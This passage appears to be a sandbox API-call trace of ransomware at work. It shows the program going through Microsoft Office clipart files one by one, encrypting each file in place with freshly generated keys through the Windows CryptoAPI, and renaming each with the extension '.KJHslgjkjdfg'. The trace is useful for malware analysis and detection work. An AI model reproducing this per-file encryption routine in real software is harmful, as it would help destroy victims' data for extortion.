ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0195.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.854] GetProcessHeap () returned 0x2ef0000 [0195.854] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.854] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.854] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.856] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.856] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.856] GetProcessHeap () returned 0x2ef0000 [0195.856] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.856] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.856] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.856] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.857] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.857] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.857] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.857] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.857] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.857] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.857] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9b8, lpOverlapped=0x0) returned 1 [0195.857] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c0) returned 1 [0195.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.857] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9c0, lpOverlapped=0x0) returned 1 [0195.857] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.857] SetEndOfFile (hFile=0x130) returned 1 [0195.859] GetProcessHeap () returned 0x2ef0000 [0195.859] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.859] GetProcessHeap () returned 0x2ef0000 [0195.860] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.kjhslgjkjdfg")) returned 1 [0195.860] CloseHandle (hObject=0x130) returned 1 [0195.860] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0195.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.861] GetProcessHeap () returned 0x2ef0000 [0195.861] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.861] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.861] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.863] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.863] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.863] GetProcessHeap () returned 0x2ef0000 [0195.863] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.863] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.863] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.863] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.863] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.863] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.863] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.864] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x88c, lpOverlapped=0x0) returned 1 [0195.864] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x890, dwBufLen=0x890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x890) returned 1 [0195.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.864] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x890, lpOverlapped=0x0) returned 1 [0195.864] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.864] SetEndOfFile (hFile=0x130) returned 1 [0195.866] GetProcessHeap () returned 0x2ef0000 [0195.866] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.866] GetProcessHeap () returned 0x2ef0000 [0195.866] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.kjhslgjkjdfg")) returned 1 [0195.867] CloseHandle (hObject=0x130) returned 1 [0195.867] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0195.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.867] GetProcessHeap () returned 0x2ef0000 [0195.868] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.868] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.868] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.872] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.872] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.872] GetProcessHeap () returned 0x2ef0000 [0195.872] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.872] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.872] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.873] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.873] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.873] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.873] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.873] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.873] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.873] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.873] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x112c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x112c, lpOverlapped=0x0) returned 1 [0195.874] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1130, dwBufLen=0x1130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1130) returned 1 [0195.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.874] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1130, lpOverlapped=0x0) returned 1 [0195.875] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.875] SetEndOfFile (hFile=0x130) returned 1 [0195.882] GetProcessHeap () returned 0x2ef0000 [0195.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.883] GetProcessHeap () returned 0x2ef0000 [0195.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.kjhslgjkjdfg")) returned 1 [0195.883] CloseHandle (hObject=0x130) returned 1 [0195.884] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0195.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.884] GetProcessHeap () returned 0x2ef0000 [0195.884] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.884] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.884] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.884] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.884] GetProcessHeap () returned 0x2ef0000 [0195.884] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.884] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.885] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.885] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.886] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.886] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.886] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.886] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.886] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.886] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.886] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe70, lpOverlapped=0x0) returned 1 [0195.886] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe70, dwBufLen=0xe70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe70) returned 1 [0195.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.886] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe70, lpOverlapped=0x0) returned 1 [0195.887] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.887] SetEndOfFile (hFile=0x130) returned 1 [0195.888] GetProcessHeap () returned 0x2ef0000 [0195.888] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.888] GetProcessHeap () returned 0x2ef0000 [0195.888] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.kjhslgjkjdfg")) returned 1 [0195.889] CloseHandle (hObject=0x130) returned 1 [0195.889] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0195.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.889] GetProcessHeap () returned 0x2ef0000 [0195.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.889] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.890] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, 